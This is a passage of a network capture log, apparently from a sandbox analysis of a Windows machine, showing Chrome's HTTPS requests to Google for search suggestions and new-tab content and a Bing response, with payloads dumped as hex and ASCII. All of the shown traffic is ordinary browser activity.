2024-11-23 23:06:28 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=3B0A5EF0950262B829AE4BB0940563E0; domain=.bing.com; expires=Thu, 18-Dec-2025 23:06:28 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Sat, 30-Nov-2024 23:06:28 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C79D1452DE8E468FB44DE332CDC80D53 Ref B: EWR311000108023 Ref C: 2024-11-23T23:06:28Z Date: Sat, 23 Nov 2024 23:06:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49749	142.250.181.68	443	6764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 23:06:30 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:29 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-XRoiZ3SjigbXoO0Mg90rjA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 23:06:30 UTC	124	IN	Data Raw: 65 39 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6a 61 67 75 61 72 20 63 61 72 73 22 2c 22 64 69 73 6e 65 79 20 77 6f 72 6c 64 20 6d 75 70 70 65 74 73 20 72 6f 6c 6c 65 72 20 63 6f 61 73 74 65 72 22 2c 22 61 61 72 6f 6e 20 62 72 61 64 73 68 61 77 20 6f 68 69 6f 20 73 74 61 74 65 20 62 61 73 6b 65 74 62 61 6c 6c 22 2c 22 77 69 73 63 6f 6e 73 69 6e 20 64 6e 72 20 64 65 65 Data Ascii: e98)]}'["",["jaguar cars","disney world muppets roller coaster","aaron bradshaw ohio state basketball","wisconsin dnr dee
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 72 20 73 65 61 73 6f 6e 20 6f 75 74 6c 6f 6f 6b 22 2c 22 68 6f 77 20 74 6f 20 67 65 74 20 73 61 66 61 72 69 20 62 61 6c 6c 73 20 70 6f 6b c3 a9 6d 6f 6e 20 67 6f 22 2c 22 70 65 74 65 72 20 63 61 6e 63 72 6f 22 2c 22 74 65 73 74 20 6d 61 74 63 68 20 63 72 69 63 6b 65 74 20 69 6e 64 69 61 20 76 73 20 61 75 73 74 72 61 6c 69 61 22 2c 22 6c 69 76 65 20 61 63 74 69 6f 6e 20 6d 6f 61 6e 61 20 64 77 61 79 6e 65 20 6a 6f 68 6e 73 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f Data Ascii: r season outlook","how to get safari balls pokmon go","peter cancro","test match cricket india vs australia","live action moana dwayne johnson"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwo
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 6c 64 30 45 33 62 58 4e 42 52 43 39 68 4e 55 4a 4d 54 44 42 45 5a 6d 6c 46 54 56 4e 48 61 55 70 44 62 6b 68 43 59 30 51 76 61 6d 31 73 52 46 6b 32 62 32 67 32 57 57 68 4f 64 7a 4e 31 57 6d 39 61 52 45 64 76 55 6d 6c 77 57 6c 46 6c 4d 6d 56 6a 59 7a 56 77 61 47 52 54 4f 56 63 7a 4d 31 56 47 63 47 51 32 56 47 38 78 63 45 5a 7a 64 57 39 77 62 30 46 7a 63 45 63 35 5a 31 6b 79 4e 55 70 51 51 7a 6c 7a 4e 43 73 7a 54 6b 74 75 55 30 35 4e 64 6b 70 4d 57 6c 70 76 56 57 52 76 59 6d 39 4e 62 79 39 33 51 6c 56 6a 59 6d 64 4e 4f 58 6f 79 4b 33 5a 68 63 58 42 55 61 54 46 61 64 46 46 33 57 6b 55 78 4d 31 5a 72 4e 33 46 49 56 6c 70 56 4d 48 4a 55 4e 57 4a 44 4e 45 63 33 5a 54 42 75 64 6b 52 72 64 55 68 55 51 6b 64 44 55 6a 51 76 57 46 41 7a 63 6a 5a 56 61 6e 70 4b 51 32 Data Ascii: ld0E3bXNBRC9hNUJMTDBEZmlFTVNHaUpDbkhCY0Qvam1sRFk2b2g2WWhOdzN1Wm9aREdvUmlwWlFlMmVjYzVwaGRTOVczM1VGcGQ2VG8xcEZzdW9wb0FzcEc5Z1kyNUpQQzlzNCszTktuU05NdkpMWlpvVWRvYm9Nby93QlVjYmdNOXoyK3ZhcXBUaTFadFF3WkUxM1ZrN3FIVlpVMHJUNWJDNEc3ZTBudkRrdUhUQkdDUjQvWFAzcjZVanpKQ2
2024-11-23 23:06:30 UTC	839	IN	Data Raw: 55 5a 53 55 55 5a 57 55 6a 4a 42 53 46 6c 57 62 57 46 54 62 47 34 76 4c 31 6f 36 4a 47 46 68 63 6d 39 75 49 47 4a 79 59 57 52 7a 61 47 46 33 49 47 39 6f 61 57 38 67 63 33 52 68 64 47 55 67 59 6d 46 7a 61 32 56 30 59 6d 46 73 62 45 6f 48 49 7a 51 79 4e 44 49 30 4d 6c 4a 62 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 45 78 44 61 33 46 4c 61 6c 70 4c 54 6d 70 5a 4d 31 6c 51 55 6c 4e 54 56 58 64 7a 65 58 4d 35 56 46 4e 44 63 45 74 55 51 32 35 50 55 30 4e 34 57 48 6c 4e 58 30 6c 36 52 6d 4e 76 54 47 74 72 63 31 4e 57 56 6b 6c 54 61 58 70 50 56 47 6b 78 53 6c 4e 7a 65 6b 70 42 55 55 52 54 54 6e 68 4b 63 58 41 47 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c Data Ascii: UZSUUZWUjJBSFlWbWFTbG4vL1o6JGFhcm9uIGJyYWRzaGF3IG9oaW8gc3RhdGUgYmFza2V0YmFsbEoHIzQyNDI0MlJbZ3Nfc3NwPWVKemo0dFZQMXpjMExDa3FLalpLTmpZM1lQUlNTVXdzeXM5VFNDcEtUQ25PU0N4WHlNX0l6RmNvTGtrc1NWVklTaXpPVGkxSlNzekpBUURTTnhKcXAGcAc\u003d","zl":10002},{"zl":10002},{"zl
2024-11-23 23:06:30 UTC	130	IN	Data Raw: 37 63 0d 0a 42 55 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 6b 46 4e 51 6b 46 6e 56 55 45 76 4f 46 46 42 53 48 68 46 51 55 46 6e 53 55 4e 42 5a 30 31 43 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 46 51 30 56 52 54 57 68 46 61 30 56 46 52 58 6c 4a 65 43 38 35 62 30 46 45 51 55 31 43 51 55 46 4a 55 6b 46 34 52 55 46 51 64 30 52 51 51 55 73 32 63 6e 64 0d 0a Data Ascii: 7cBUUFBQUFBQUFBQUFBQUFBQkFNQkFnVUEvOFFBSHhFQUFnSUNBZ01CQUFBQUFBQUFBQUFBQUFFQ0VRTWhFa0VFRXlJeC85b0FEQU1CQUFJUkF4RUFQd0RQQUs2cnd
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 38 63 33 0d 0a 57 4d 45 74 72 5a 47 78 47 4e 31 4e 4d 4d 57 52 50 64 6c 56 31 62 6c 46 31 52 6c 5a 7a 53 30 52 71 53 6e 42 77 62 53 74 4c 64 58 4e 59 4d 44 64 4d 57 6b 78 5a 4d 6d 39 36 4e 46 49 7a 57 6d 4e 30 62 6a 46 4b 65 43 73 78 53 57 46 53 65 56 67 77 65 47 6c 56 61 31 4a 4c 5a 57 4e 6d 53 32 31 75 55 57 52 44 64 44 56 70 61 6d 51 77 52 47 63 72 5a 46 6b 35 61 6d 70 76 53 7a 68 6d 64 47 78 35 52 30 52 52 5a 6d 6c 71 63 56 6c 74 5a 55 78 57 4e 30 4e 44 4e 56 4e 4e 4e 47 52 79 57 48 64 50 55 47 39 54 55 54 4d 7a 52 6b 35 51 57 58 6b 31 5a 7a 46 4d 56 47 52 56 62 47 6c 35 52 6d 4e 5a 57 6c 68 48 52 31 68 6f 64 57 39 76 53 58 5a 61 62 54 42 72 56 6c 64 72 5a 31 68 6a 51 6e 64 53 65 46 5a 6c 4e 47 46 55 63 7a 5a 61 54 6c 46 7a 54 6a 5a 5a 61 6b 31 6a 4d Data Ascii: 8c3WMEtrZGxGN1NMMWRPdlV1blF1RlZzS0RqSnBwbStLdXNYMDdMWkxZMm96NFIzWmN0bjFKeCsxSWFSeVgweGlVa1JLZWNmS21uUWRDdDVpamQwRGcrZFk5ampvSzhmdGx5R0RRZmlqcVltZUxWN0NDNVNNNGRyWHdPUG9TUTMzRk5QWXk1ZzFMVGRVbGl5RmNZWlhHR1hodW9vSXZabTBrVldrZ1hjQndSeFZlNGFUczZaTlFzTjZZak1jM
2024-11-23 23:06:30 UTC	860	IN	Data Raw: 59 58 5a 4f 57 6b 31 57 62 47 68 4d 59 6c 4e 57 57 6b 4e 4e 52 55 64 74 54 44 52 50 53 54 67 76 57 6c 46 4f 51 58 6c 35 5a 48 70 50 4f 47 4e 78 52 48 46 77 65 6e 56 43 4b 33 68 49 4e 7a 41 79 59 54 6c 5a 59 55 55 78 62 47 4e 68 61 6e 46 6b 64 54 42 56 64 48 4a 44 4d 47 70 54 65 45 52 34 63 30 5a 48 59 32 56 32 63 32 45 35 54 45 67 79 61 6c 68 49 62 58 42 56 64 30 68 45 63 58 52 36 63 55 31 4e 59 54 49 77 54 45 74 55 4d 45 64 4e 61 32 34 79 62 31 6f 79 4e 32 64 32 64 58 6c 6c 62 6a 5a 55 63 55 74 76 61 7a 4e 6c 65 58 5a 49 5a 46 4a 31 51 57 4e 4e 55 6d 78 4e 54 6a 46 43 64 30 70 50 5a 57 35 51 62 6d 64 56 55 69 74 47 5a 6d 46 54 4d 44 46 4d 56 58 42 79 55 6a 64 55 64 57 4a 6f 62 32 70 4b 59 6d 35 32 54 6a 51 79 61 6b 63 30 5a 45 4a 6e 4f 47 6f 35 4c 32 78 Data Ascii: YXZOWk1WbGhMYlNWWkNNRUdtTDRPSTgvWlFOQXl5ZHpPOGNxRHFwenVCK3hINzAyYTlZYUUxbGNhanFkdTBVdHJDMGpTeER4c0ZHY2V2c2E5TEgyalhIbXBVd0hEcXR6cU1NYTIwTEtUMEdNa24yb1oyN2d2dXllbjZUcUtvazNleXZIZFJ1QWNNUmxNTjFCd0pPZW5QbmdVUitGZmFTMDFMVXByUjdUdWJob2pKYm52TjQyakc0ZEJnOGo5L2x
2024-11-23 23:06:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49750	142.250.181.68	443	6764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49751	142.250.181.68	443	6764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:29 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 23:06:30 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 23:06:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 23:06:30 UTC	372	IN	Data Raw: 31 65 37 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e73)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 23:06:30 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700269,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-23 23:06:30 UTC	481	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-23 23:06:30 UTC	377	IN	Data Raw: 31 37 32 0d 0a 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 Data Ascii: 172^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003d
